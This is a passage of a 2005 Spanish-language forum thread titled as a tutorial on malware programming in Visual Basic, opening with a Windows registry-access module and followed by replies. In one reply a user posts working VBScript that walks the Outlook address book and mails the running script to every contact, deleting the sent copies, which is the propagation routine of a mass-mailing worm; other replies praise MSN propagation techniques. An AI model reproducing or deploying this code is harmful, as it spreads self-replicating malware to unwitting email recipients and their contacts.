'Argumentos para RegOpenKey
'
Const KEY_QUERY_VALUE = &H1         'Permiso para consultar los datos de una subclave
Const KEY_SET_VALUE = &H2           'Permiso para establecer los datos de una subclave
Const KEY_CREATE_SUB_KEY = &H4      'Permiso para crear subclaves
Const KEY_ENUMERATE_SUB_KEYS = &H8  'Permiso para enumerar subclaves
Const KEY_NOTIFY = &H10             'Permiso para cambiar notificación
Const KEY_CREATE_LINK = &H20        'Permiso para crear un vínculo simbólico
Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or KEY_QUERY_VALUE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or KEY_CREATE_LINK) And (Not SYNCHRONIZE))
Const KEY_READ = ((STANDARD_RIGHTS_READ Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY) And (Not SYNCHRONIZE))
Const KEY_WRITE = ((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))
Const KEY_EXECUTE = ((KEY_READ) And (Not SYNCHRONIZE))

'Valores devueltos por lpdwDisposition de RegCreateKey
'
Const REG_CREATED_NEW_KEY = &H1     'Se creó una nueva clave
Const REG_OPENED_EXISTING_KEY = &H2 'Se abrió una clave existente

'Valores para dwNotifyFilter de RegNotifyChangeKeyValue
'
Const REG_NOTIFY_CHANGE_NAME = &H1          'Si se agrega o elimina una clave
Const REG_NOTIFY_CHANGE_ATTRIBUTES = &H2    'Cambiar atributos de la clave
Const REG_NOTIFY_CHANGE_LAST_SET = &H4      'Modificar, agregar o eliminar un valor de la clave
Const REG_NOTIFY_CHANGE_SECURITY = &H8      'Cambiar el descriptor de seguridad de la clave (SECURITY_DESCRIPTOR)

'Argumentos para dwOptions de RegCreateKey
'
Const REG_OPTION_NON_VOLATILE = 0   '(Predeterminado) Crea una clave normalmente
Const REG_OPTION_VOLATILE = 1       'Borra la clave al reiniciar el sistema
Const REG_OPTION_CREATE_LINK = 2    'Crea un vínculo virtual
Const REG_OPTION_BACKUP_RESTORE = 4 'Para Windows NT

Const REG_OPTION_RESERVED = 0   'Reservado

Const REG_LEGAL_CHANGE_FILTER = (REG_NOTIFY_CHANGE_NAME Or REG_NOTIFY_CHANGE_ATTRIBUTES Or REG_NOTIFY_CHANGE_LAST_SET Or REG_NOTIFY_CHANGE_SECURITY)
Const REG_LEGAL_OPTION = (REG_OPTION_RESERVED Or REG_OPTION_NON_VOLATILE Or REG_OPTION_VOLATILE Or REG_OPTION_CREATE_LINK Or REG_OPTION_BACKUP_RESTORE)

'Para el argumento dwFlags de RegRestoreKey
'
Const REG_WHOLE_HIVE_VOLATILE = &H1 'Borra la clave al reiniciar el sistema

'Claves del registro
'
Const HKEY_CLASSES_ROOT = &H80000000
Const HKEY_CURRENT_CONFIG = &H80000005
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_DYN_DATA = &H80000006
Const HKEY_LOCAL_MACHINE = &H80000002
Const HKEY_PERFORMANCE_DATA = &H80000004 'Sólo para NT
Const HKEY_USERS = &H80000003

Const ERROR_SUCCESS = 0&
Const ERROR_NO_MORE_ITEMS = 259&    'No hay más elementos

Const MODULE_DESC$ = "Registry Module"

Enum RegKeyConstants
    RegClassesRoot = HKEY_CLASSES_ROOT
    RegCurrentConfig = HKEY_CURRENT_CONFIG
    RegCurrentUser = HKEY_CURRENT_USER
    RegDynData = HKEY_DYN_DATA
    RegLocalMachine = HKEY_LOCAL_MACHINE
    RegPerformanceData = HKEY_PERFORMANCE_DATA
    RegUsers = HKEY_USERS
End Enum

Enum RegAccessType
    regqueryvalue = KEY_QUERY_VALUE
    RegSetValue = KEY_SET_VALUE
    RegCreateSubKey = KEY_CREATE_SUB_KEY
    RegEnumerateSubKeys = KEY_ENUMERATE_SUB_KEYS
    RegNotify = KEY_NOTIFY
    RegCreateLink = KEY_CREATE_LINK
    RegAllAccess = KEY_ALL_ACCESS
    RegRead = KEY_READ
    RegWrite = KEY_WRITE
    RegExecute = KEY_EXECUTE
End Enum

Enum RegValueTypeConstants
    RegString = REG_SZ
    RegExpandString = REG_EXPAND_SZ
    RegMultiString = REG_MULTI_SZ
    RegBinary = REG_BINARY
    RegDWORD = REG_DWORD
    RegDWORDLittleEndian = REG_DWORD_LITTLE_ENDIAN
    RegDWORDBigEndian = REG_DWORD_BIG_ENDIAN
    RegLink = REG_LINK
    RegUnknown = REG_NONE
    RegResourceList = REG_RESOURCE_LIST
End Enum

Enum RegCreateOptionsConstants
    RegVolatile = REG_OPTION_VOLATILE
    RegNonVolatile = REG_OPTION_NON_VOLATILE
    RegOptionBackupRestore = REG_OPTION_BACKUP_RESTORE
End Enum

Private Type SECURITY_ATTRIBUTES
    nLength As Long
    lpSecurityDescriptor As Long
    bInheritHandle As Long
End Type

Private Type FILETIME
    dwLowDateTime As Long
    dwHighDateTime As Long
End Type

Type RegValue
    sName As String
    cType As RegValueTypeConstants
    vData As Variant
    lData As Long
End Type

Type RegKey
    lLongKey  As RegKeyConstants
    sStringKey As String
    sPath As String
    sName As String
    lNameLen As Long
    lHandle As Long
    lSubKeys As Long
    lValues As Long
    tValues() As RegValue
    sClass As String
End Type

Function RegOpenKey(Optional Key As RegKeyConstants = RegLocalMachine, Optional ByVal SubKey As String, Optional DesiredAccess As RegAccessType = RegAllAccess) As RegKey
        Dim iPos%, r&
  With RegOpenKey
    r = OSRegOpenKeyEx(CLng(Key), SubKey, 0&, CLng(DesiredAccess), .lHandle)
    If r = ERROR_SUCCESS Then
      If Right(SubKey, 1) = "\" Then SubKey = Left(SubKey, Len(SubKey) - 1)
     
      iPos = InStrRev("\", SubKey)
     
      .sName = Mid(SubKey, iPos + 1)
      .lNameLen = LenB(.sName)
      .lLongKey = Key
      .sStringKey = GetKeyString(.lLongKey)
      .sPath = Left(SubKey, iPos)
    End If
  End With
End Function

Function RegCreateKey(Key As RegKeyConstants, SubKey As String, Optional Options As RegCreateOptionsConstants = RegNonVolatile, Optional DesiredAccess As RegAccessType = RegAllAccess, Optional Class As String) As RegKey
        Dim sa As SECURITY_ATTRIBUTES, r&
        Dim iPos%

  With RegCreateKey
    r = OSRegCreateKeyEx(CLng(Key), SubKey, 0&, Class, CLng(Options), _
    CLng(DesiredAccess), sa, .lHandle, 0&)
   
    If r = ERROR_SUCCESS Then
        If Not Right(SubKey, 1) Like "\" Then SubKey = SubKey & "\"
       
        iPos = InStrRev("\", SubKey)
       
        .sName = Mid(SubKey, iPos + 1)
        .lNameLen = LenB(.sName)
        .lLongKey = Key
        .sStringKey = GetKeyString(.lLongKey)
        .sPath = Left(SubKey, iPos)
    End If
  End With
End Function

Function RegConnectRegistry(MachineName As String, Optional Key As RegKeyConstants = RegLocalMachine) As RegKey
        Dim r&
  With RegConnectRegistry
    r = OSRegConnectRegistry(MachineName, CLng(Key), .lHandle)
   
    If r = ERROR_SUCCESS Then
      .sName = GetKeyString(Key)
      .lNameLen = LenB(.sName)
      .lLongKey = Key
      .sStringKey = GetKeyString(.lLongKey)
    End If
  End With
End Function

Function RegCloseKey(hKey As Long) As Boolean
  RegCloseKey = (OSRegCloseKey(hKey) = ERROR_SUCCESS)
End Function

Function RegDeleteKey(Key As RegKeyConstants, SubKey As String) As Boolean
  RegDeleteKey = (OSRegDeleteKey(CLng(Key), SubKey) = ERROR_SUCCESS)
End Function

Function RegEnumKeyNames(TargetArray() As String, Optional Key As RegKeyConstants = RegLocalMachine, Optional ByVal SubKey As String, Optional MaxKeysToEnum As Long = -1) As Long
  On Error GoTo CloseKey
          Dim iCount%, iArrayType%
          Dim hKey&, ft As FILETIME
          Dim r&, sName$, lName&

  hKey = RegOpenKey(Key, SubKey, RegEnumerateSubKeys).lHandle
 
  If hKey <> ERROR_SUCCESS Then
    Erase TargetArray
   
    Do
      lName = 256: sName = String(lName, 0)
      r = OSRegEnumKeyEx(hKey, iCount, sName, lName, 0&, ByVal "", 0&, ft)
     
      If r <> ERROR_NO_MORE_ITEMS Then
        ReDim Preserve TargetArray(iCount) As String
        TargetArray(iCount) = Left(sName, lName)
      Else
        GoTo CloseKey
      End If
Step:
      iCount = iCount + 1
      If MaxKeysToEnum > -1 And iCount = MaxKeysToEnum Then GoTo CloseKey
    Loop
   
CloseKey:
    Call RegCloseKey(hKey)
   
    RegEnumKeyNames = iCount
  End If
End Function

Function RegEnumKeys(TargetArray() As RegKey, Optional Key As RegKeyConstants = RegLocalMachine, Optional ByVal SubKey As String, Optional bEnumValues As Boolean = False, Optional MaxKeysToEnum As Long = -1) As Long
  On Error GoTo CloseKey
         
          Dim iCount%, iArrayType%
          Dim hKey&, ft As FILETIME
          Dim r&, sName$, lName&
          Dim sClass$, lClass&
         
  hKey = RegOpenKey(Key, SubKey, RegEnumerateSubKeys).lHandle
 
  If hKey <> ERROR_SUCCESS Then
    Erase TargetArray
   
    Do
      lName = 256: sName = String(lName, 0)
      lClass = 256: sClass = String(lName, 0)
     
      r = OSRegEnumKeyEx(hKey, iCount, sName, lName, 0&, sClass, lClass, ft)
     
      If bEnumValues Then
        'Enumerar valores
      End If
     
      If r <> ERROR_NO_MORE_ITEMS Then
        ReDim Preserve TargetArray(iCount) As RegKey
       
        With TargetArray(iCount)
            .sName = Left(sName, lName)
            .lNameLen = LenB(.sName)
            .lLongKey = Key
            .sStringKey = GetKeyString(.lLongKey)
            .sPath = SubKey
            .lValues = RegEnumValues(.tValues, hKey)
        End With
      Else
        GoTo CloseKey
      End If
Step:
      iCount = iCount + 1
      If MaxKeysToEnum > -1 And iCount = MaxKeysToEnum Then GoTo CloseKey
    Loop
CloseKey:
    Call RegCloseKey(hKey)
   
    RegEnumKeys = iCount - 1
  End If
End Function

Function RegQueryInfoKey(Optional Key As RegKeyConstants = RegLocalMachine, Optional ByVal SubKey As String, Optional QueryValues As Boolean = False, Optional OpenKey As Boolean = False) As RegKey
          Dim hKey&, ft As FILETIME
          Dim lClass&, r&
          Dim iPos%
         
  With RegQueryInfoKey
    hKey = RegOpenKey(Key, SubKey, RegRead).lHandle
   
    If hKey <> ERROR_SUCCESS Then
     
      lClass = 256: .sClass = String(lClass, 0)
      r = OSRegQueryInfoKey(hKey, .sClass, lClass, 0&, .lSubKeys, 0&, 0&, .lValues, 0&, 0&, 0&, ft)
     
      If r = ERROR_SUCCESS Then
        iPos = InStrRev(SubKey, "\")
        .sClass = Left(.sClass, lClass)
        .sName = Mid(SubKey, iPos + 1)
        .lNameLen = Len(.sName)
        .sPath = Left(SubKey, iPos)
        .lLongKey = Key
        .sStringKey = GetKeyString(.lLongKey)
       
        If Not OpenKey Then Call RegCloseKey(hKey) Else .lHandle = hKey
       
        If QueryValues Then
          r = RegEnumValues(.tValues, Key, SubKey)
        End If
      End If
    End If
  End With
End Function

Function RegFlushKey(hKey As Long) As Boolean
    RegFlushKey = (OSRegFlushKey(hKey) = ERROR_SUCCESS)
End Function

Function RegEnumValueNames(TargetArray() As String, Optional Key As RegKeyConstants = RegLocalMachine, Optional ByVal SubKey As String) As Long
  On Error GoTo CloseKey
          Dim hKey&, r&
          Dim sName$, lName&
          Dim lCount&
          Dim btData As Byte, lData&
          Dim lType&
 
  hKey = RegOpenKey(Key, SubKey, regqueryvalue).lHandle
 
  If hKey <> ERROR_SUCCESS Then
    Erase TargetArray

    Do
      lName = 256: sName = String(lName, 0)
      lData = 2000
      r = OSRegEnumValue(hKey, lCount&, sName, lName, 0&, 0&, ByVal btData, lData)
     
      If r = ERROR_SUCCESS Then
          ReDim Preserve TargetArray(lCount) As String
          TargetArray(lCount) = Left(sName, lName)
      Else: GoTo CloseKey
      End If
     
      lCount = lCount + 1
    Loop
   
CloseKey:

    Call RegCloseKey(hKey)
    RegEnumValueNames = lCount - 1
  End If
End Function

Function RegEnumValues(TargetArray() As RegValue, Optional Key As RegKeyConstants = RegLocalMachine, Optional ByVal SubKey As String) As Long
  On Error GoTo CloseKey
          Dim hKey&, r&
          Dim sName$, lName&
          Dim lCount&
          Dim btData As Byte, lData&
          Dim lType&
 
  hKey = RegOpenKey(Key, SubKey, KEY_QUERY_VALUE).lHandle
 
  If hKey <> ERROR_SUCCESS Then
    Erase TargetArray
   
    Do
      lName = 256: sName = String(lName, 0)
      lData = 2000
      r = OSRegEnumValue(hKey, lCount&, sName, lName, 0&, lType, ByVal btData, lData)
     
      If r = ERROR_SUCCESS Then
        ReDim Preserve TargetArray(lCount) As RegValue
        TargetArray(lCount) = RegGetValue(hKey, , Left(sName, lName))
      Else: GoTo CloseKey
      End If
     
      lCount = lCount + 1
    Loop
CloseKey:
   
    Call RegCloseKey(hKey)
    RegEnumValues = lCount - 1
  End If
End Function

Function RegGetValueData(Key As RegKeyConstants, Optional ByVal SubKey As String, Optional ValueName As String) As Variant
          Dim hKey&, r&
          Dim sData$, lDataLen&
          Dim lData&, ValType As RegValueTypeConstants
         
  hKey = RegOpenKey(Key, SubKey, regqueryvalue).lHandle
  ValType = RegString
  If hKey <> ERROR_SUCCESS Then
    Select Case ValType
      Case RegString, RegMultiString, RegExpandString, RegBinary, RegUnknown
        sData = String(2000, 0)
        lDataLen = LenB(sData)
        r = OSRegQueryValueEx(hKey, ValueName, 0&, ValType, _
                            ByVal sData, lDataLen)
        If ValType = RegDWORD Or ValType = RegDWORDBigEndian Or ValType = RegDWORDLittleEndian Then GoTo LongType
        RegGetValueData = Left(sData, lDataLen - 1)
      Case Else
LongType:
        r = OSRegQueryValueEx(hKey, ValueName, 0&, ValType, _
                             lData, lDataLen)
        RegGetValueData = lData
    End Select
    Call RegCloseKey(hKey)
  End If
End Function

Function RegGetValue(Key As RegKeyConstants, Optional ByVal SubKey As String, Optional ValueName As String) As RegValue
        Dim hKey&, r&
        Dim sData$, lDataLen&
        Dim lData&, ValType As RegValueTypeConstants

hKey = RegOpenKey(Key, SubKey, regqueryvalue).lHandle
ValType = RegString

If hKey <> ERROR_SUCCESS Then
  With RegGetValue
    Select Case ValType
        Case RegLink, RegString, RegMultiString, RegExpandString, RegBinary, RegUnknown
            sData = String(2000, 0)
            lDataLen = LenB(sData)
            r = OSRegQueryValueEx(hKey, ValueName, 0&, ValType, _
                                ByVal sData, lDataLen)
            If ValType = RegDWORD Or ValType = RegDWORDBigEndian Or ValType = RegDWORDLittleEndian Then GoTo LongType
            If r = ERROR_SUCCESS Then
                .vData = Left(sData, lDataLen)
                .lData = lDataLen
                .cType = ValType
                .sName = ValueName
            End If
        Case Else
LongType:
            r = OSRegQueryValueEx(hKey, ValueName, 0&, ValType, _
                                 lData, lDataLen)
            If r = ERROR_SUCCESS Then
                .vData = lData
                .lData = lDataLen
                .cType = ValType
                .sName = ValueName
            End If
    End Select
    Call RegCloseKey(hKey)
  End With
End If
End Function

Function RegDeleteValue(Key As RegKeyConstants, Optional ByVal SubKey As String, Optional ValueName As String) As Boolean
        Dim hKey&
hKey = RegOpenKey(Key, SubKey, RegSetValue).lHandle
RegDeleteValue = (OSRegDeleteValue(hKey, ValueName) = ERROR_SUCCESS)
Call RegCloseKey(hKey)
End Function

Function RegSetValues(Key As RegKeyConstants, SubKey As String, ValueName As Variant, Data As Variant, Optional ValueType As RegValueTypeConstants = RegString) As Integer
          Dim hKey&, r&
          Dim i%, iScsCount%
  hKey = RegOpenKey(Key, SubKey, RegSetValue).lHandle
 
  If hKey <> ERROR_SUCCESS Then
    If IsArray(ValueName) And IsArray(Data) Then
      'Si son dos matrices
      If (UBound(ValueName) - LBound(ValueName)) <> (UBound(Data) - LBound(Data)) Then
        'Si no tienen las mismas dimensiones se produce un error
        Call Err.Raise(45, MODULE_DESC, "Las matrices no tienen la misma dimensión")
      Else
        For i = LBound(ValueName) To UBound(ValueName)
          'Identifica el tipo de valor que se va a establecer
          Select Case ValueType
            Case RegString, RegMultiString, RegExpandString, RegBinary, RegUnknown
              r = OSRegSetValueEx(hKey, ValueName(i), 0&, _
                  CLng(ValueType), ByVal CStr(Data(i)), LenB(Data(i)))
            Case Else
              r = OSRegSetValueEx(hKey, ValueName(i), 0&, _
                  CLng(ValueType), CLng(Data(i)), 4)
          End Select
         
          'Si no hay ningún error aumenta el contador de valores
          'que se pudieron establecer
          If r = ERROR_SUCCESS Then iScsCount = iScsCount + 1
        Next
       
        'Devuelve el la cantidad de valores que se establecieron
        RegSetValues = iScsCount
      End If
    ElseIf IsArray(ValueName) Then
      'Si los nombres de valores están en una matriz
      For i = LBound(ValueName) To UBound(ValueName)
        'Establece todos los valores pero con los mismos datos
        Select Case ValueType
          Case RegString, RegMultiString, RegExpandString, RegBinary, RegUnknown
            r = OSRegSetValueEx(hKey, ValueName(i), 0&, _
                CLng(ValueType), ByVal CStr(Data), LenB(Data))
          Case Else
            r = OSRegSetValueEx(hKey, ValueName(i), 0&, _
                CLng(ValueType), CLng(Data), 4)
        End Select
       
        If r = ERROR_SUCCESS Then iScsCount = iScsCount + 1
      Next
     
      RegSetValues = iScsCount
    Else
      Select Case ValueType
        Case RegString, RegMultiString, RegExpandString, RegBinary, RegUnknown, RegLink
            r = OSRegSetValueEx(hKey, ValueName, 0&, _
                CLng(ValueType), ByVal CStr(Data), LenB(Data))
       
        Case Else
            r = OSRegSetValueEx(hKey, ValueName, 0&, _
                CLng(ValueType), CLng(Data), 4)
      End Select
     
      RegSetValues = True
    End If
  End If
 
  Call RegCloseKey(hKey)
End Function

Function RegIsKey(Key As RegKeyConstants, Optional ByVal SubKey As String) As Boolean
            Dim hKey&
 
  hKey = RegOpenKey(Key, SubKey).lHandle
  RegIsKey = (hKey <> 0)
 
  Call RegCloseKey(hKey)
End Function

Function GetKeyString(hKey As Variant) As String
  Select Case hKey
    Case RegClassesRoot, "HKCR", "HKEY_CLASSES_ROOT": GetKeyString = "HKEY_CLASSES_ROOT"
    Case RegCurrentConfig, "HKCC", "HKEY_CURRENT_CONFIG": GetKeyString = "HKEY_CURRENT_CONFIG"
    Case RegCurrentUser, "HKCU", "HKEY_CURRENT_USER": GetKeyString = "HKEY_CURRENT_USER"
    Case RegDynData, "HKDD", "HKEY_DYN_DATA": GetKeyString = "HKEY_DYN_DATA"
    Case RegLocalMachine, "HKLM", "HKEY_LOCAL_MACHINE": GetKeyString = "HKEY_LOCAL_MACHINE"
    Case RegPerformanceData, "HKPD", "HKEY_PERFORMANCE_DATA": GetKeyString = "HKEY_PERFORMANCE_DATA"
    Case RegUsers, "HKU", "HKEY_USERS": GetKeyString = "HKEY_USERS"
  End Select
End Function

Function GetKeyLong(hKey As Variant) As String
  Select Case hKey
    Case RegClassesRoot, "HKCR", "HKEY_CLASSES_ROOT": GetKeyLong = RegClassesRoot
    Case RegCurrentConfig, "HKCC", "HKEY_CURRENT_CONFIG
En línea

Pseudoroot


Desconectado Desconectado

Mensajes: 839



Ver Perfil
Re: Tecnicas de programación de malware en visual basic
« Respuesta #1 en: 27 Septiembre 2005, 16:58 »

dejas abierto el hilo para comentar dudas, darte una opinion, o no se puede?  ;D
En línea

cristian_p89

Desconectado Desconectado

Mensajes: 72



Ver Perfil
Re: Tecnicas de programación de malware en visual basic
« Respuesta #2 en: 27 Septiembre 2005, 17:03 »

Muy interesante tutorial, gracias x compartirlo
En línea

SSaludos
Rey11


Desconectado Desconectado

Mensajes: 3.244



Ver Perfil WWW
Re: Tecnicas de programación de malware en visual basic
« Respuesta #3 en: 27 Septiembre 2005, 17:04 »

Si, le he dajado abierto por si se hos ocurre poner mas, comentarlo, dudas, críticas, ayudas, decir que es una ***** el tuto etc...  ;D
Espero que lo disfruteis  ;)
Saludos  ;D
En línea

Pseudoroot


Desconectado Desconectado

Mensajes: 839



Ver Perfil
Re: Tecnicas de programación de malware en visual basic
« Respuesta #4 en: 27 Septiembre 2005, 17:08 »

jajaj , tu lo dijiste , no yo  ;D,, nah decirte que se agradece el esfuerzo que haces para juntar este material (porque es eso) para ponerlo todo en un mismo hilo y otros la hallen mas facil..
En línea

Simbelmynë


Desconectado Desconectado

Mensajes: 856



Ver Perfil WWW
Re: Tecnicas de programación de malware en visual basic
« Respuesta #5 en: 27 Septiembre 2005, 17:10 »

Muy lindo, pero creo que lo que deberias explicar mejor es esto:



Es muy verga que nos estemos cagando entre nosotros no te parece???
Saludos
En línea

Rey11


Desconectado Desconectado

Mensajes: 3.244



Ver Perfil WWW
Re: Tecnicas de programación de malware en visual basic
« Respuesta #6 en: 27 Septiembre 2005, 17:14 »

No lo se, pero lo que detectará es que la página tiene código malicioso:
Código:
Set Outlook = CreateObject("Outlook.Application")  'Crea el objeto Outlook
If Outlook = "Outlook" Then
Set Mapi = Outlook.GetNameSpace("MAPI") 'Llama a la librería Mapi
Set ListaDir = Mapi.AddressLists 'Obtiene las direcciones de los contactos
For Each Recipients In ListaDir 'Comienza el bucle tantas veces como direcciones
If Recipients.AddressEntries.Count <> 0 Then 'Si hay por lo menos una direccion continua
Cuenta = Recipients.AddressEntries.Count 'Establece a "Cuenta" la cantidad de direcciones que hay

For CadaUno = 1 To Cuenta
Set Vms = Outlook.CreateItem(0) 'Crea el Msg
Set Direccion = Recipients.AddressEntries(CadaUno) 'Setea en "Direccion" el e-mail que corresponda
Vms.To = Direccion.Address 'Para:
Vms.Subject = "NO estimado Bill G." 'Asunto:
Vms.Body = "Hola que tal," & vbcrlf & "Aqui le adjunto los precios para su funeral." & vbcrlf & "" 'Mensaje:
Set Adjunto = Vms.Attachments
Adjunto.Add wscript.scriptfullname 'Archivo Adjunto:
Vms.DeleteAfterSubmit = True 'Borrar después de enviar
If Vms.To <> "" Then 'Si el campo Para no está vacio
Vms.Send 'Enviar el Msg
End If
Next
End If
Next
End If
¿Pero que te crees tu, que voy a meter yo un virus en esta web que no ejecuta ni html ni script y encima para que se infecte la gente :P??
Es absurdo esta web no tiene ningún virus, posiblemente el script de arriba lo detecte como virus, puesto que si se guardase  en vbs en texto plano saldría como virus.
O que te crees que quiero infectar a todo el foro  :P
En línea

Pseudoroot


Desconectado Desconectado

Mensajes: 839



Ver Perfil
Re: Tecnicas de programación de malware en visual basic
« Respuesta #7 en: 27 Septiembre 2005, 17:18 »

jajaj. demasiado tarde, ya estamos infectados..jajaj..nah..es eso .el NOD detecto. ese script mas conocido que *** de ****
En línea

Rey11


Desconectado Desconectado

Mensajes: 3.244



Ver Perfil WWW
Re: Tecnicas de programación de malware en visual basic
« Respuesta #8 en: 27 Septiembre 2005, 17:54 »

Ya..., es conocido pero es un ejemplo de como parasitar el outlook  ;D
En línea

BenRu
The Prodigy


Desconectado Desconectado

Mensajes: 4.004


Ver Perfil
Re: Tecnicas de programación de malware en visual basic
« Respuesta #9 en: 27 Septiembre 2005, 18:19 »

Lo he leido por encima y valla tocho de codigo que has puesto  ;D
Pero parace que tiene que estar bien...

Pero...ya estamos todosssss infectadossss...nohhh  :'(
En línea
Ertai
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.026


Ralph Wiggum


Ver Perfil
Re: Tecnicas de programación de malware en visual basic
« Respuesta #10 en: 27 Septiembre 2005, 18:21 »

Es normal que te salte el NOD32, salta por nada, hasta por un simple código malicioso, aunque sea solo la fuente.

Es imposible que reydelmundo11 te infecte algo a través de un post (que yo sepa)  ::)

Saludos.
En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
BenRu
The Prodigy


Desconectado Desconectado

Mensajes: 4.004


Ver Perfil
Re: Tecnicas de programación de malware en visual basic
« Respuesta #11 en: 27 Septiembre 2005, 18:34 »

He mirado el codigo y lo veo muy bien...
Me ha sorpendido el de propagacion por msn...pufff...si es efectiva...todo el mundo utiliza msn  :o

Esto de las propagaciones es interesante... ;D
En línea
Simbelmynë


Desconectado Desconectado

Mensajes: 856



Ver Perfil WWW
Re: Tecnicas de programación de malware en visual basic
« Respuesta #12 en: 27 Septiembre 2005, 18:55 »

Solamente pedi explicaciones de el porque de la alerta de mi antivirus, sin tener en cuenta la alerta de javascript que sale luego de la carga que no se bien a que viene y por otra parte observando que andaban buscando la forma de explotar un bug para este foro en la sección de bugs y exploits...
En fin, me pareceria tonto que se ensaye con esto en el foro donde se esta siguiendo el tema, asi que voy a creerte lo que decis (?)
Es raro que a diario visite cientos de webs revisando codigos fuente de distintas aplicaciones catalogadas y nunca me salte esta alerta...
Dejadlo asi... y que cada uno juzgue bajo sus conceptos, por mi parte mucha suerte con el tutorial.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Nuevas y curiosas técnicas del malware contra entidades latinoamericanas
Noticias
wolfbcn 0 422 Último mensaje 15 Febrero 2012, 17:31
por wolfbcn
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines